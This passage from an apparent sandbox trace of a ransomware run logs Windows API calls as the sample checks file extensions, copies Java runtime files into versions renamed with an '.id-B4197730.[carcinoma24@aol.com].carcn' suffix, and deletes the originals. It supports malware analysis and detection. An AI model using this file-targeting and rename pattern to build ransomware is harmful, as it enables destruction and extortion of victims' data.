dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.450] SetEndOfFile (hFile=0x538) returned 1 [0263.453] CloseHandle (hObject=0x538) returned 1 [0263.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0263.453] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0263.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.454] lstrlenW (lpString=".doc") returned 4 [0263.454] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.454] lstrlenW (lpString=".docx") returned 5 [0263.454] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0263.454] lstrlenW (lpString=".pdf") returned 4 [0263.454] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.454] lstrlenW (lpString=".xls") returned 4 [0263.454] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.454] lstrlenW (lpString=".xlsx") returned 5 [0263.454] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0263.454] lstrlenW (lpString=".ppt") returned 4 [0263.454] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.454] lstrlenW (lpString=".zip") returned 4 [0263.454] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.454] lstrlenW (lpString=".rar") returned 4 [0263.454] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.454] lstrlenW (lpString=".bz2") returned 4 [0263.454] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.454] lstrlenW (lpString=".7z") returned 3 [0263.454] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.455] lstrlenW (lpString=".dbf") returned 4 [0263.455] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.455] lstrlenW (lpString=".1cd") returned 4 [0263.455] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.455] lstrlenW (lpString=".jpg") returned 4 [0263.455] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.455] lstrlenW (lpString=".doc") returned 4 [0263.455] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.455] lstrlenW (lpString=".docx") returned 5 [0263.455] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0263.455] lstrlenW (lpString=".pdf") returned 4 [0263.455] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.455] lstrlenW (lpString=".xls") returned 4 [0263.455] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.455] lstrlenW (lpString=".xlsx") returned 5 [0263.455] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0263.455] lstrlenW (lpString=".ppt") returned 4 [0263.456] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.456] lstrlenW (lpString=".zip") returned 4 [0263.456] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.456] lstrlenW (lpString=".rar") returned 4 [0263.456] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.456] lstrlenW (lpString=".bz2") returned 4 [0263.456] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.456] lstrlenW (lpString=".7z") returned 3 [0263.456] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.456] lstrlenW (lpString=".dbf") returned 4 [0263.456] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.456] lstrlenW (lpString=".1cd") returned 4 [0263.456] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0263.456] lstrlenW (lpString=".jpg") returned 4 [0263.456] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.456] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0263.456] lstrlenW (lpString="jfxrt.jar") returned 9 [0263.456] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.458] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=18246297) returned 1 [0263.459] CloseHandle (hObject=0x538) returned 1 [0263.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0263.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0263.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.459] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.459] lstrlenW (lpString=".doc") returned 4 [0263.459] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.459] lstrlenW (lpString=".docx") returned 5 [0263.459] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0263.459] lstrlenW (lpString=".pdf") returned 4 [0263.459] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.459] lstrlenW (lpString=".xls") returned 4 [0263.459] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.459] lstrlenW (lpString=".xlsx") returned 5 [0263.460] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0263.460] lstrlenW (lpString=".ppt") returned 4 [0263.460] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.460] lstrlenW (lpString=".zip") returned 4 [0263.460] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.460] lstrlenW (lpString=".rar") returned 4 [0263.460] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.460] lstrlenW (lpString=".bz2") returned 4 [0263.460] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.460] lstrlenW (lpString=".7z") returned 3 [0263.460] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.460] lstrlenW (lpString=".dbf") returned 4 [0263.460] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.460] lstrlenW (lpString=".1cd") returned 4 [0263.460] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.460] lstrlenW (lpString=".jpg") returned 4 [0263.460] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.460] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.460] lstrlenW (lpString=".doc") returned 4 [0263.460] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.460] lstrlenW (lpString=".docx") returned 5 [0263.460] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0263.460] lstrlenW (lpString=".pdf") returned 4 [0263.460] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.460] lstrlenW (lpString=".xls") returned 4 [0263.460] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.460] lstrlenW (lpString=".xlsx") returned 5 [0263.460] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0263.460] lstrlenW (lpString=".ppt") returned 4 [0263.461] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.461] lstrlenW (lpString=".zip") returned 4 [0263.461] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.461] lstrlenW (lpString=".rar") returned 4 [0263.461] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.461] lstrlenW (lpString=".bz2") returned 4 [0263.461] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.461] lstrlenW (lpString=".7z") returned 3 [0263.461] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.461] lstrlenW (lpString=".dbf") returned 4 [0263.461] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.461] lstrlenW (lpString=".1cd") returned 4 [0263.461] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0263.461] lstrlenW (lpString=".jpg") returned 4 [0263.461] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.461] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0263.461] lstrlenW (lpString="localedata.jar") returned 14 [0263.461] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.476] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=2204781) returned 1 [0263.476] CloseHandle (hObject=0x538) returned 1 [0263.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0263.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.477] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0263.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.477] lstrlenW (lpString=".doc") returned 4 [0263.477] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.477] lstrlenW (lpString=".docx") returned 5 [0263.477] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0263.477] lstrlenW (lpString=".pdf") returned 4 [0263.477] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.477] lstrlenW (lpString=".xls") returned 4 [0263.477] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.477] lstrlenW (lpString=".xlsx") returned 5 [0263.477] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0263.477] lstrlenW (lpString=".ppt") returned 4 [0263.477] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.477] lstrlenW (lpString=".zip") returned 4 [0263.477] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.477] lstrlenW (lpString=".rar") returned 4 [0263.477] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.477] lstrlenW (lpString=".bz2") returned 4 [0263.478] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.478] lstrlenW (lpString=".7z") returned 3 [0263.478] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.478] lstrlenW (lpString=".dbf") returned 4 [0263.478] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.478] lstrlenW (lpString=".1cd") returned 4 [0263.478] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.478] lstrlenW (lpString=".jpg") returned 4 [0263.478] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.478] lstrlenW (lpString=".doc") returned 4 [0263.478] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0263.478] lstrlenW (lpString=".docx") returned 5 [0263.478] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0263.478] lstrlenW (lpString=".pdf") returned 4 [0263.478] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0263.478] lstrlenW (lpString=".xls") returned 4 [0263.478] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0263.478] lstrlenW (lpString=".xlsx") returned 5 [0263.478] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0263.478] lstrlenW (lpString=".ppt") returned 4 [0263.478] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0263.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.478] lstrlenW (lpString=".zip") returned 4 [0263.478] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0263.479] lstrlenW (lpString=".rar") returned 4 [0263.479] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0263.479] lstrlenW (lpString=".bz2") returned 4 [0263.479] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0263.479] lstrlenW (lpString=".7z") returned 3 [0263.479] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0263.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.479] lstrlenW (lpString=".dbf") returned 4 [0263.479] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0263.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.479] lstrlenW (lpString=".1cd") returned 4 [0263.479] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0263.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0263.479] lstrlenW (lpString=".jpg") returned 4 [0263.479] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0263.479] lstrcmpiW (lpString1=".0_144\\lib\\ext\\meta-index", lpString2=".carcn") returned -1 [0263.479] lstrlenW (lpString="meta-index") returned 10 [0263.479] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.480] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=1461) returned 1 [0263.480] CloseHandle (hObject=0x538) returned 1 [0263.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0x20 [0263.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.480] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.480] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.480] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.480] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0263.489] GetLastError () returned 0x0 [0263.489] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x5b5, lpOverlapped=0x0) returned 1 [0263.569] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0263.570] ReadFile (in: hFile=0x538, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0263.570] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe8, lpOverlapped=0x0) returned 1 [0263.571] SetEndOfFile (hFile=0x554) returned 1 [0263.571] CloseHandle (hObject=0x554) returned 1 [0263.571] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0263.572] SetEndOfFile (hFile=0x538) returned 1 [0263.992] CloseHandle (hObject=0x538) returned 1 [0263.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0263.993] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1 [0263.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.993] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.993] lstrlenW (lpString=".doc") returned 4 [0263.993] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0263.993] lstrlenW (lpString=".docx") returned 5 [0263.993] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0263.993] lstrlenW (lpString=".pdf") returned 4 [0263.993] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0263.993] lstrlenW (lpString=".xls") returned 4 [0263.993] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0263.993] lstrlenW (lpString=".xlsx") returned 5 [0263.994] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0263.994] lstrlenW (lpString=".ppt") returned 4 [0263.994] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0263.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.994] lstrlenW (lpString=".zip") returned 4 [0263.994] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0263.994] lstrlenW (lpString=".rar") returned 4 [0263.994] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0263.994] lstrlenW (lpString=".bz2") returned 4 [0263.994] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0263.994] lstrlenW (lpString=".7z") returned 3 [0263.994] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0263.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.994] lstrlenW (lpString=".dbf") returned 4 [0263.994] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0263.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.994] lstrlenW (lpString=".1cd") returned 4 [0263.994] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0263.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.994] lstrlenW (lpString=".jpg") returned 4 [0263.994] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0263.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.994] lstrlenW (lpString=".doc") returned 4 [0263.994] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1 [0263.994] lstrlenW (lpString=".docx") returned 5 [0263.994] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1 [0263.994] lstrlenW (lpString=".pdf") returned 4 [0263.994] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1 [0263.994] lstrlenW (lpString=".xls") returned 4 [0263.994] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1 [0263.994] lstrlenW (lpString=".xlsx") returned 5 [0263.994] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1 [0263.995] lstrlenW (lpString=".ppt") returned 4 [0263.995] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1 [0263.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.995] lstrlenW (lpString=".zip") returned 4 [0263.995] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1 [0263.995] lstrlenW (lpString=".rar") returned 4 [0263.995] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1 [0263.995] lstrlenW (lpString=".bz2") returned 4 [0263.995] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1 [0263.995] lstrlenW (lpString=".7z") returned 3 [0263.995] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1 [0263.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.995] lstrlenW (lpString=".dbf") returned 4 [0263.995] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1 [0263.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.995] lstrlenW (lpString=".1cd") returned 4 [0263.995] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1 [0263.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53 [0263.995] lstrlenW (lpString=".jpg") returned 4 [0263.995] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1 [0263.995] lstrcmpiW (lpString1=".bfc", lpString2=".carcn") returned -1 [0263.995] lstrlenW (lpString="fontconfig.bfc") returned 14 [0263.995] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.996] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=3770) returned 1 [0263.996] CloseHandle (hObject=0x538) returned 1 [0263.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0263.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0263.996] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0263.997] SetFilePointerEx (in: 